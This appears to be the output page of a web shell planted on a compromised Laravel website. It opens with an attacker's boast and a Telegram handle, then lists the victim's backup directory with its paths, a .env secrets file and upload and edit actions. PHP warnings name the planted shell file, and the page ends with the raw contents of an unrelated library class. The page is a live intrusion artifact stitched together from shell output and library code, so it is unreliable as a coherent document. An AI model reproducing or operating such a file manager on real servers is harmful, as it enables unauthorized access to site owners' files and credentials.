telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log17252267 KBJuly 18 2025 18:58:030644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
*/ class Data implements DataInterface, ArrayAccess { private const DELIMITERS = ['.', '/']; /** * Internal representation of data data * * @var array */ protected $data; /** * Constructor * * @param array $data */ public function __construct(array $data = []) { $this->data = $data; } /** * {@inheritdoc} */ public function append(string $key, $value = null): void { $currentValue =& $this->data; $keyPath = self::keyToPathArray($key); $endKey = array_pop($keyPath); foreach ($keyPath as $currentKey) { if (! isset($currentValue[$currentKey])) { $currentValue[$currentKey] = []; } $currentValue =& $currentValue[$currentKey]; } if (!isset($currentValue[$endKey])) { $currentValue[$endKey] = []; } if (!is_array($currentValue[$endKey])) { // Promote this key to an array. // TODO: Is this really what we want to do? $currentValue[$endKey] = [$currentValue[$endKey]]; } $currentValue[$endKey][] = $value; } /** * {@inheritdoc} */ public function set(string $key, $value = null): void { $currentValue =& $this->data; $keyPath = self::keyToPathArray($key); $endKey = array_pop($keyPath); foreach ($keyPath as $currentKey) { if (!isset($currentValue[$currentKey])) { $currentValue[$currentKey] = []; } if (!is_array($currentValue[$currentKey])) { throw new DataException(sprintf('Key path "%s" within "%s" cannot be indexed into (is not an array)', $currentKey, self::formatPath($key))); } $currentValue =& $currentValue[$currentKey]; } $currentValue[$endKey] = $value; } /** * {@inheritdoc} */ public function remove(string $key): void { $currentValue =& $this->data; $keyPath = self::keyToPathArray($key); $endKey = array_pop($keyPath); foreach ($keyPath as $currentKey) { if (!isset($currentValue[$currentKey])) { return; } $currentValue =& $currentValue[$currentKey]; } unset($currentValue[$endKey]); } /** * {@inheritdoc} * * @psalm-mutation-free */ public function get(string $key, $default = null) { /** @psalm-suppress ImpureFunctionCall */ $hasDefault = \func_num_args() > 1; $currentValue = $this->data; $keyPath = self::keyToPathArray($key); foreach ($keyPath as $currentKey) { if (!is_array($currentValue) || !array_key_exists($currentKey, $currentValue)) { if ($hasDefault) { return $default; } throw new MissingPathException($key, sprintf('No data exists at the given path: "%s"', self::formatPath($keyPath))); } $currentValue = $currentValue[$currentKey]; } return $currentValue === null ? $default : $currentValue; } /** * {@inheritdoc} * * @psalm-mutation-free */ public function has(string $key): bool { $currentValue = $this->data; foreach (self::keyToPathArray($key) as $currentKey) { if ( !is_array($currentValue) || !array_key_exists($currentKey, $currentValue) ) { return false; } $currentValue = $currentValue[$currentKey]; } return true; } /** * {@inheritdoc} * * @psalm-mutation-free */ public function getData(string $key): DataInterface { $value = $this->get($key); if (is_array($value) && Util::isAssoc($value)) { return new Data($value); } throw new DataException(sprintf('Value at "%s" could not be represented as a DataInterface', self::formatPath($key))); } /** * {@inheritdoc} */ public function import(array $data, int $mode = self::REPLACE): void { $this->data = Util::mergeAssocArray($this->data, $data, $mode); } /** * {@inheritdoc} */ public function importData(DataInterface $data, int $mode = self::REPLACE): void { $this->import($data->export(), $mode); } /** * {@inheritdoc} * * @psalm-mutation-free */ public function export(): array { return $this->data; } /** * {@inheritdoc} * * @return bool */ #[\ReturnTypeWillChange] public function offsetExists($key) { return $this->has($key); } /** * {@inheritdoc} * * @return mixed */ #[\ReturnTypeWillChange] public function offsetGet($key) { return $this->get($key, null); } /** * {@inheritdoc} * * @param string $key * @param mixed $value * * @return void */ #[\ReturnTypeWillChange] public function offsetSet($key, $value) { $this->set($key, $value); } /** * {@inheritdoc} * * @return void */ #[\ReturnTypeWillChange] public function offsetUnset($key) { $this->remove($key); } /** * @param string $path * * @return string[] * * @psalm-return non-empty-list * * @psalm-pure */ protected static function keyToPathArray(string $path): array { if (\strlen($path) === 0) { throw new InvalidPathException('Path cannot be an empty string'); } $path = \str_replace(self::DELIMITERS, '.', $path); return \explode('.', $path); } /** * @param string|string[] $path * * @return string * * @psalm-pure */ protected static function formatPath($path): string { if (is_string($path)) { $path = self::keyToPathArray($path); } return implode(' » ', $path); } }